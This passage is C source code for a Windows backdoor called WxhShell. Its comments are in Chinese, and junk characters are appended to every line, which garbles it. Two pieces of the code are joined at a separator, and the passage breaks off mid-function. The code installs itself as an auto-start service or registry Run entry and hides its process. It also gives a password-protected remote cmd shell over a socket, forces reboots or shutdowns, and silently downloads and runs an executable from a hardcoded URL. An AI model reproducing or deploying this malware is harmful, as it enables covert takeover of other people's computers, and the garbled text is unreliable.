    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gF6> /  
    if(Boot(SHUTDOWN)) ^z,3#gK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0cG'37[  
    else { hCxg6e<[  
    closesocket(wsh); l{By]S  
    ExitThread(0);  F/Goq`  
    } LIg1U  
    break; Q3@zUjq_Q  
    } +{UY9_~\3  
  // 获取shell Z0gtliJ@  
  case 's': { w[~G^x&  
    CmdShell(wsh); mxNd  
    closesocket(wsh); [6GYYu\  
    ExitThread(0); ~Xi@#s~  
    break; hgU;7R,?ir  
  } -L2.cN_  
  // 退出 $4bc!  
  case 'x': { osC?2.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @]uqC~a^  
    CloseIt(wsh); 1U\ap{z@  
    break; ZmK=8iN9J  
    } tE*BZXBlm  
  // 离开 ||+~8z#+,  
  case 'q': { 2mLZ4 r>WE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Bdo{zv&A  
    closesocket(wsh); y r (g/0  
    WSACleanup(); N8A)lYT]_u  
    exit(1); `46~j  
    break; g`fG84  
        } *s6 x  
  } zs$r>rlO  
  } QM,#:m1o  
{}$9 70y  
  // 提示信息 -CPtYG[s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7x)Pt@c  
} jAJ='|[X\  
  } zB.cOMx  
LV}R 9f  
  return; SYJO3cY  
} -()WTdIy  
c~0kZA6  
// shell模块句柄 ~aC ?M&  
int CmdShell(SOCKET sock) PD#,KqL:  
{ '-wmY?ZFxy  
STARTUPINFO si; pcMzLMG<  
ZeroMemory(&si,sizeof(si)); !GOaBs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0X)vr~`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +\!.X _Ij  
PROCESS_INFORMATION ProcessInfo; %=**cvVy  
char cmdline[]="cmd"; zlMh^+rMX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .n:Q~GEL  
  return 0; v9(5H Y  
} RZ6y5  
x*OdMr\n8?  
// 自身启动模式 Eq-+g1a  
int StartFromService(void) 9 qx4F<   
{ Q2 q~m8(  
typedef struct e5_Hmuk|  
{ \,R;  
  DWORD ExitStatus; EN m%(G$  
  DWORD PebBaseAddress; ^s~)"2 g  
  DWORD AffinityMask; "GMU~594  
  DWORD BasePriority; ZP"; B^J  
  ULONG UniqueProcessId; !h? HfpYv  
  ULONG InheritedFromUniqueProcessId; ~J\qkQ  
}   PROCESS_BASIC_INFORMATION; _8G w Mj  
bBIh}aDN  
PROCNTQSIP NtQueryInformationProcess; G'|ql5Zw  
"FHJ_$!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CR4O#f8\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Avx`  
V?XQjH1X  
  HANDLE             hProcess; St5;X&Q  
  PROCESS_BASIC_INFORMATION pbi; wFMH\a  
}s,NM%oI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8}n< 3_  
  if(NULL == hInst ) return 0; 0zW*JJxV  
|5u~L#P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KL \>-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ElO|6kOBYG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?G`m;S  
_E '?U  
  if (!NtQueryInformationProcess) return 0; CL0 lMZ  
-A#p22D,5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kcS7)"/ zC  
  if(!hProcess) return 0; i1evB9FZ1z  
Sk{skvd;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bPVk5G*ruP  
461g7R%r  
  CloseHandle(hProcess); 8 063LWV  
SkuR~!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1!uBzO6/$  
if(hProcess==NULL) return 0; (xgw';g  
?]><#[?'L  
HMODULE hMod; ]>M\|,wh  
char procName[255]; E &9<JS  
unsigned long cbNeeded; ,Zmjw@ w  
)N 3^r>(e<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TcZ.5Oe6h#  
>pu4G+M  
  CloseHandle(hProcess); /3s&??{tv  
T0 K!Msz  
if(strstr(procName,"services")) return 1; // 以服务启动 2^[dy>[y0  
tz ;3  
  return 0; // 注册表启动 ]I|(/+}M  
} S]3CRJU3`  
]bds~OY5 U  
// 主模块  l"ms:v  
int StartWxhshell(LPSTR lpCmdLine) B[8bkFS>]  
{ J~%43!X\K  
  SOCKET wsl; m%0 -3c(  
BOOL val=TRUE; '0 Cp  
  int port=0; ,HP }}K+S  
  struct sockaddr_in door; }=X: F1S  
o`f^m   
  if(wscfg.ws_autoins) Install(); 4iAF<|6s  
:#:|:q.]  
port=atoi(lpCmdLine); MpOU>\  
,rMDGZm?  
if(port<=0) port=wscfg.ws_port; <AU*lLZ  
_ [k \S|iY  
  WSADATA data; z~Q=OPCnY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aL1%BGlmZ<  
- l X4;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1$b@C-B@g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i q`}c |c  
  door.sin_family = AF_INET; "pkdZ   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a``|sn9  
  door.sin_port = htons(port); ]g-%7g|  
JuO47}i]5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~,/@]6S&Y  
closesocket(wsl); ?t YZ/  
return 1; .D@J\<,+l  
} q-!H7o  
>'4A[$$4mM  
  if(listen(wsl,2) == INVALID_SOCKET) { Ki><~!L  
closesocket(wsl); r w!jmvHE&  
return 1; ZWkRoJXNi  
} k6CXuU  
  Wxhshell(wsl); @1CXc"IgA  
  WSACleanup(); JpS}X\]i  
%u!=<yn'  
return 0; %o8o~B|{.U  
X +!+&RAN*  
} s|p I`  
sZrVANyqb  
// 以NT服务方式启动 gGM fy]]R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6+$2rS$1V  
{ -;9 }P  
DWORD   status = 0; J+/}m}bx  
  DWORD   specificError = 0xfffffff; Y(Oh7VwY*P  
lp}S'^ y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]s=|+tz\V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R!dC20IMvH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \D|IN'!D  
  serviceStatus.dwWin32ExitCode     = 0; C6)Y ZC  
  serviceStatus.dwServiceSpecificExitCode = 0; ~&RTLr#\*M  
  serviceStatus.dwCheckPoint       = 0; -'Z Gc8)  
  serviceStatus.dwWaitHint       = 0; .I:rb~ &  
>[ B.y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s#Dj>Fej  
  if (hServiceStatusHandle==0) return; {<yapBMw  
ZR!8hw8  
status = GetLastError(); `=Ip>7T&  
  if (status!=NO_ERROR) aDdxR:  
{ *$=i1w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LwB1~fF  
    serviceStatus.dwCheckPoint       = 0; mGE!,!s}  
    serviceStatus.dwWaitHint       = 0; h]<S0/  
    serviceStatus.dwWin32ExitCode     = status; brA#p>4]Wf  
    serviceStatus.dwServiceSpecificExitCode = specificError; F'XQoZ* 1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M">v4f&K1!  
    return; jz8u'y[n7  
  } cUq]PC$|  
P3"R2-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; * BM|luYL  
  serviceStatus.dwCheckPoint       = 0; vX:}tir[  
  serviceStatus.dwWaitHint       = 0; 9[qOfIny  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d<-f:}^k0  
} D;YfQQr  
P}4&J ^  
// 处理NT服务事件,比如:启动、停止 .HZd.*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h,{Q%sqO  
{ V&f*+!!2  
switch(fdwControl) C&z!="hMhR  
{ egu{}5  
case SERVICE_CONTROL_STOP: OD)X7PU  
  serviceStatus.dwWin32ExitCode = 0; T ipH}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X9| Z ?jJ  
  serviceStatus.dwCheckPoint   = 0; `bQ_eRw}  
  serviceStatus.dwWaitHint     = 0; ?("O.<  
  { ^BF}wQb :j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &ZD@-"@  
  } 8xB-cE  
  return; u[)X="-e#  
case SERVICE_CONTROL_PAUSE: m4m-JD|v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 58Ibje  
  break; ?"@Fq2xgB4  
case SERVICE_CONTROL_CONTINUE: CE3l_[c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (1z"=NCp  
  break; 7$<pdayd  
case SERVICE_CONTROL_INTERROGATE: [~N;d9H+*1  
  break; KSs1EmB  
}; Gj?Zbl <  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g}%ODa !H  
} ;7\Fx8"s[  
h8(#\E  
// 标准应用程序主函数 eKr>>4,-P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [+o{0o>  
{ D|OGlP  
[ K?  
// 获取操作系统版本 ;^/ruf[t  
OsIsNt=GetOsVer(); Rs=Fcvl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _&l8^MD  
2 `AdNt,  
  // 从命令行安装 +,spC`M6h  
  if(strpbrk(lpCmdLine,"iI")) Install(); N1'"7eg/  
^ =C>  
  // 下载执行文件 O::FB.k  
if(wscfg.ws_downexe) {  J#` 7!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6SCjlaGW5  
  WinExec(wscfg.ws_filenam,SW_HIDE); |*?N#0s5h  
} W5u5!L/  
nWsRa uY  
if(!OsIsNt) { jgE{JK\n4  
// 如果时win9x,隐藏进程并且设置为注册表启动 [R4# bl  
HideProc(); b%lB&}uw}  
StartWxhshell(lpCmdLine); HwFg;r  
} TFkG"ev  
else ) k/&,J3  
  if(StartFromService()) 0#NMNZ  
  // 以服务方式启动 i6paNHi*  
  StartServiceCtrlDispatcher(DispatchTable); LGL;3EI  
else q]{gAGe~  
  // 普通方式启动 <~m qb=qA$  
  StartWxhshell(lpCmdLine); @_`r*Tb)dM  
"[ LUv5  
return 0; A'w+Lc.2  
} %uo8z~+  
j#f/M3  
OmuE l>  
:P q&l.  
=========================================== c^=q(V  
8 o}5QOW  
k1D7=&i  
bZ_&AfcB  
vGyQ306  
])?dqgwa  
" Mg\588cI  
H s)]  
#include <stdio.h> 9,fV  
#include <string.h> W_XFTqp^  
#include <windows.h> (m1m}* @  
#include <winsock2.h> wA{) 9.  
#include <winsvc.h> W^elzN(  
#include <urlmon.h> D&m1yl@\J  
dFg&|Lp  
#pragma comment (lib, "Ws2_32.lib") '\{ OQ H  
#pragma comment (lib, "urlmon.lib") HVvm3qu4  
<uIPv Zsx  
#define MAX_USER   100 // 最大客户端连接数 v Z10Rb8  
#define BUF_SOCK   200 // sock buffer Fe[6Y<x+:  
#define KEY_BUFF   255 // 输入 buffer ^:?z7m  
q2 7Ac; y  
#define REBOOT     0   // 重启 W4 q9pHQ  
#define SHUTDOWN   1   // 关机  5V<6_o  
9y\nO)\Tv  
#define DEF_PORT   5000 // 监听端口 w8D8\`i!"  
&K]|{1+  
#define REG_LEN     16   // 注册表键长度 X:Y1g)|K  
#define SVC_LEN     80   // NT服务名长度 `_vPElQXZ#  
Vc'p+e|(  
// 从dll定义API [%>*P~6nK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q"Bd-?9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @d Qr^'h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Yy 4Was#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "a(R>PV%  
^Whc<>|  
// wxhshell配置信息 jEKa9rt  
struct WSCFG { 0(&uH0x  
  int ws_port;         // 监听端口 5M\0t\uEn  
  char ws_passstr[REG_LEN]; // 口令 Mxz X@GBX  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,~;`@  
  char ws_regname[REG_LEN]; // 注册表键名 5%S5*c6BD  
  char ws_svcname[REG_LEN]; // 服务名 C|}yE ;*a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'q9Ejig  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ] Q^8 9?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ])pX)(a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R&s/s`pLW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Jur$O,u40l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0D:uM$ i]  
yzpa\[^  
}; 3znhpHO)  
WL% T nux  
// default Wxhshell configuration BCExhp  
struct WSCFG wscfg={DEF_PORT, y%--/;  
    "xuhuanlingzhe", @lB1t= D  
    1, Nt+UL/1]  
    "Wxhshell", R7Tl 1!,h  
    "Wxhshell", fo}@B &=4  
            "WxhShell Service", JBQ>"X^  
    "Wrsky Windows CmdShell Service", 5YZ\@<|rH  
    "Please Input Your Password: ", @W+8z#xr'  
  1, M-Nn \h$,  
  "http://www.wrsky.com/wxhshell.exe", >VjtKSN  
  "Wxhshell.exe" f].z.  
    }; PmId #2f  
a[^dK-  
// 消息定义模块 F`Vp   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !4F@ !.GG!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z[+Qf3j}o6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,[m4+6G5  
char *msg_ws_ext="\n\rExit."; 9LQy 0Gx  
char *msg_ws_end="\n\rQuit."; X pXhg*}K  
char *msg_ws_boot="\n\rReboot..."; j@JY-^~K5  
char *msg_ws_poff="\n\rShutdown..."; -eSI"To L<  
char *msg_ws_down="\n\rSave to "; Cyv_(Oh?dv  
'iYaA-9j  
char *msg_ws_err="\n\rErr!"; uJ*|SSN~  
char *msg_ws_ok="\n\rOK!"; YVY(uq)d  
!oV'  
char ExeFile[MAX_PATH]; LY0/\Z"N  
int nUser = 0; etW-gbr  
HANDLE handles[MAX_USER]; /C<} :R  
int OsIsNt; jP @t!=  
/? j^Qu  
SERVICE_STATUS       serviceStatus; jM@@N.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]:^kw$  
d@|j>Z  
// 函数声明 '9wD+'c=A  
int Install(void); s|!b: Ms`  
int Uninstall(void); D/{Spw@  
int DownloadFile(char *sURL, SOCKET wsh); _ )^n[_E  
int Boot(int flag); \No22Je6d  
void HideProc(void); a7NX~9 g  
int GetOsVer(void); K3UG6S\B  
int Wxhshell(SOCKET wsl); Q!%CU8!`&  
void TalkWithClient(void *cs); I(WND/&  
int CmdShell(SOCKET sock); $PbN=@  
int StartFromService(void); Y@'1}=`J  
int StartWxhshell(LPSTR lpCmdLine); "ZVBn!  
8<^6<c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5Q72.4HH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =TI|uD6T  
eWx6$_|  
// 数据结构和表定义 VA'<  
SERVICE_TABLE_ENTRY DispatchTable[] = bOmM~pD  
{ o9HDxS$~^  
{wscfg.ws_svcname, NTServiceMain}, Ll&5#q  
{NULL, NULL} +ACV,GG  
}; ;v+CQx  
OEGAwP?F  
// 自我安装 oB Bdk@  
int Install(void) 5p{tt;9[  
{ s: q15"  
  char svExeFile[MAX_PATH]; m9>nv rQ  
  HKEY key; *t|j+*c}  
  strcpy(svExeFile,ExeFile); .'AHIR&>  
"/XS3s v"s  
// 如果是win9x系统,修改注册表设为自启动 e]X9"sd0=  
if(!OsIsNt) { &(^>}&XS.<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "Lpt@g[HF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZCJ8I  
  RegCloseKey(key); s_h <  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ow`c B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;1OTK6  
  RegCloseKey(key); O,1u\Zy/  
  return 0; VZlvmN  
    } "AVj]jR  
  } k~?}z.g(  
} v <Ze$^ e&  
else { )J88gMk+  
RBgkC+2  
// 如果是NT以上系统,安装为系统服务 izW l5}+'B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3S2'JOTY  
if (schSCManager!=0) i+cGw  
{ o-' i)pp  
  SC_HANDLE schService = CreateService $ .Z2Rdlv(  
  ( {:FITF3o  
  schSCManager, &Y=NUDt_  
  wscfg.ws_svcname, fR[!=-6^f  
  wscfg.ws_svcdisp, 17Gdu[E  
  SERVICE_ALL_ACCESS, ?h3Ow`1G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m<f{7]fi5  
  SERVICE_AUTO_START, d<b,LD^  
  SERVICE_ERROR_NORMAL, E:E &Wv?r  
  svExeFile, =L wX+c  
  NULL, `Zi#rr|)L  
  NULL, o5$K^2^g  
  NULL, o%9>elOju  
  NULL, H62*8y8  
  NULL A0X0t  
  ); yEqmB4^-  
  if (schService!=0) gX _BJ6  
  { S&uL9)Glb  
  CloseServiceHandle(schService); (Mm{"J3uv  
  CloseServiceHandle(schSCManager); CGe'z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h{xER IV1u  
  strcat(svExeFile,wscfg.ws_svcname); ipp_?5TL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pz IMj_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *(MvNN*  
  RegCloseKey(key); dGteYt_F  
  return 0; .- Lqo=o\  
    } \ +xIH  
  } #Fd( [Zx#.  
  CloseServiceHandle(schSCManager); rWs5s!l,  
} 6qJB"_.  
} |YFD|  
^Q,/C8qeb  
return 1; 9h(hx 7]  
} e,*[5xQ  
ggTjd"|)  
// 自我卸载 w;$+7  
int Uninstall(void) ,7g;r_qwA  
{  :Y3?,  
  HKEY key; *a%PA(%6  
r*wKYb  
if(!OsIsNt) { U}0/V c26  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7dJaWD:&   
  RegDeleteValue(key,wscfg.ws_regname); ~QcKW<bz  
  RegCloseKey(key); 6<Wr 8u,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X8x>oV;8  
  RegDeleteValue(key,wscfg.ws_regname); Z :+#3.4$3  
  RegCloseKey(key); K-u/q6ufK  
  return 0; B^?XE(.  
  } i|^6s87"N2  
} ZRm\d3x4  
} |pR$' HO  
else { \AzcW;03g[  
6w;|-/:`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hFfaaB  
if (schSCManager!=0) 3raA^d3!?  
{ *KH@u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UJ$:5*S=u  
  if (schService!=0) s*~o%emw  
  { ?\M6P?tpo&  
  if(DeleteService(schService)!=0) { 8k^y.B  
  CloseServiceHandle(schService); F5MPy[  
  CloseServiceHandle(schSCManager); SYPMoE!U:  
  return 0; #aX@mPm  
  } 9 /(c cj  
  CloseServiceHandle(schService); S5KYZ W  
  } oD@jtd>b%  
  CloseServiceHandle(schSCManager); i?dKmRp(@y  
} O f@#VZ  
} jY+S,lD  
Z[S+L"0  
return 1; %H@76NvEz  
} _C,@eu"9V  
\N , '+  
// 从指定url下载文件 ]NV ]@*`tO  
int DownloadFile(char *sURL, SOCKET wsh) ?lN8~Ze  
{ A'QGTT  
  HRESULT hr; 0uO=wOIhH  
char seps[]= "/"; %`1CE\f  
char *token; 3;S`<  
char *file; ,nB3c5X)|  
char myURL[MAX_PATH]; [RPAkp  
char myFILE[MAX_PATH]; Ij}F<ZgZG  
35 5Sd;*  
strcpy(myURL,sURL); 7Ljj#!`lUp  
  token=strtok(myURL,seps); !aw#',r8m  
  while(token!=NULL) !FO^:V<|5  
  { qJXsf M6  
    file=token; vF6*c  
  token=strtok(NULL,seps); 66@3$P%1p  
  } (S)E|;f%C  
,o@~OTja*  
GetCurrentDirectory(MAX_PATH,myFILE); =ch Af=  
strcat(myFILE, "\\"); sC5uA .?>9  
strcat(myFILE, file); !H|82:`t+  
  send(wsh,myFILE,strlen(myFILE),0); 3 E!<p  
send(wsh,"...",3,0); ]ZKt1@4AY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v V6Lp  
  if(hr==S_OK) Xvj=*wg\Y  
return 0; ezr\T  
else O(D5A?tv!  
return 1; Yl&tkSw46  
^/C $L8#  
} ;j>Vt?:Pw  
?7kV+{.  
// 系统电源模块 ?)mhJ/IT  
int Boot(int flag) \YlF>{LVe  
{ )0U3w#,JQ  
  HANDLE hToken; w~$c= JO#  
  TOKEN_PRIVILEGES tkp; kUg+I_j6*  
?wLdW1&PpX  
  if(OsIsNt) { =l8!VJa  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UROj9CO v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LGo2^Xx  
    tkp.PrivilegeCount = 1; v dH+>l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S0N2rU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %|*nmIPq(  
if(flag==REBOOT) { ," C[Qg(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %[Zqr;~l  
  return 0; ^)OZ`u8  
} r}oURy,5  
else { 4FIV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3"'# |6O9  
  return 0; bvip bf[m<  
} =|E 09  
  } %wt2F-u  
  else { i5 L:L  
if(flag==REBOOT) { Hz]4AS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *b Ci2mbm@  
  return 0; a1g6}ym\  
} VelB-vy&  
else { JFG",09]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f`hyYp`d5  
  return 0; egI{!bZg'\  
} ,pyQP^u-  
} QGH h;  
-yC:?  
return 1; 3tT|9Tb@  
} ` URSv,(  
8"km_[JE e  
// win9x进程隐藏模块 c$Xe.:QY  
void HideProc(void) "[jhaUAK  
{ 6_R\l@a  
_/,SZ-C#L4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r"{Is?yKe  
  if ( hKernel != NULL ) 5c: '>  
  { %bIsrQ~B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /~i.\^HX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Gr5`1`8|  
    FreeLibrary(hKernel); ~@T+mHny  
  } X0y?<G1( a  
i>Z|6 5  
return; Lw>-7)  
} F8{ldzh  
M`0(!Q}  
// 获取操作系统版本 ]u rK$   
int GetOsVer(void) 2#z=z d  
{ Qm.z@DwFM{  
  OSVERSIONINFO winfo; ;W7hc!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mi7sBA9L8  
  GetVersionEx(&winfo); l^k+E-w\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Mjb 1  
  return 1; p`>AnfG  
  else 3<c*v/L{C\  
  return 0; ?^LG hdR  
} YF}9k  
8#+`9GI  
// 客户端句柄模块 wL'oImE  
int Wxhshell(SOCKET wsl) 94Xjz(  
{ `[WyH O|8  
  SOCKET wsh; j#N(1}r=1  
  struct sockaddr_in client; }*iAE>;  
  DWORD myID; 89zuL18V  
OuB2 x=B  
  while(nUser<MAX_USER) QF\kPk(CtD  
{ KHvIN}V5?3  
  int nSize=sizeof(client); "@.Z#d|Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  QTVa  
  if(wsh==INVALID_SOCKET) return 1; 3PsxOb+  
d,)}+G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [ZuVUOm  
if(handles[nUser]==0) AK6=Ydu  
  closesocket(wsh); B ,V( LTE  
else +.w[6  
  nUser++; @. "q  
  } c#=&!FRe  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X(IyvfC  
xb%/sz(4  
  return 0; Ay 2b,q  
} uu}'i\Q  
8{oZi]ob  
// 关闭 socket F4Rr26M  
void CloseIt(SOCKET wsh) );=Q] >  
{ sNL+F  
closesocket(wsh); 4 GUA&qs  
nUser--; ,1,&b_  
ExitThread(0); <z,+Eg  
} 'r~8  
rB,ldy,f  
// 客户端请求句柄 >gr<^$  
void TalkWithClient(void *cs) C?,*U  
{ M3ZOk<O<R  
A*hZv|$0  
  SOCKET wsh=(SOCKET)cs; T-^0:@5o9  
  char pwd[SVC_LEN]; sr\cVv")  
  char cmd[KEY_BUFF]; UanEzx%  
char chr[1]; W/sY#"  
int i,j; yKYl@&H/%  
@9aGz6k+  
  while (nUser < MAX_USER) { h{I`7X  
W;qP=DK2  
if(wscfg.ws_passstr) { C?/r;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J2m"1gq,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <P- $RX  
  //ZeroMemory(pwd,KEY_BUFF); Q |%-9^  
      i=0; C ck#Y  
  while(i<SVC_LEN) { Y.7}  
MZ WmlJ   
  // 设置超时 w^3|(F  
  fd_set FdRead; ?b56AE  
  struct timeval TimeOut; p+$+MeBz  
  FD_ZERO(&FdRead); ^CUSlnB\(  
  FD_SET(wsh,&FdRead); )#a7'Ba  
  TimeOut.tv_sec=8; }B`Ku5 M  
  TimeOut.tv_usec=0; *,17x`1e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t ^m~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >Co)2d]  
rkq#7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y~}5axSPH  
  pwd=chr[0]; "mR*7o$|  
  if(chr[0]==0xd || chr[0]==0xa) { teAukE=}  
  pwd=0; SyAo, )j  
  break; 9:Si] Pp+S  
  } 5Dd:r{{ Q  
  i++; G{+2x N a(  
    } !.*iw k`  
9mDn KW  
  // 如果是非法用户,关闭 socket Tpb"uBiXoo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GV5qdD(  
} a$}NW.  
ytiyF2Kp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o,1Dqg4P3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uaaf9SL?  
\^0!|  
while(1) { J'e]x[Y  
~@D/A/|  
  ZeroMemory(cmd,KEY_BUFF); e\D| o?v  
?`H[u7*%  
      // 自动支持客户端 telnet标准   q(Hip<6p  
  j=0; QD$Gw-U-l=  
  while(j<KEY_BUFF) { i$C-)d]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s1 bU  
  cmd[j]=chr[0]; hO3 {  
  if(chr[0]==0xa || chr[0]==0xd) { Wo!;K|~P  
  cmd[j]=0; u h )o  
  break; CW p#^1F  
  } 1'Rmg\(  
  j++; Xh}&uZ`A  
    } 9 I{/zKq  
8Q=ZH=SQK  
  // 下载文件 : y1Bt+Fp  
  if(strstr(cmd,"http://")) { '1-maM\r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =ewyQ  
  if(DownloadFile(cmd,wsh)) :IZ"D40m"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JYJU&u  
  else wXbsS)#/  
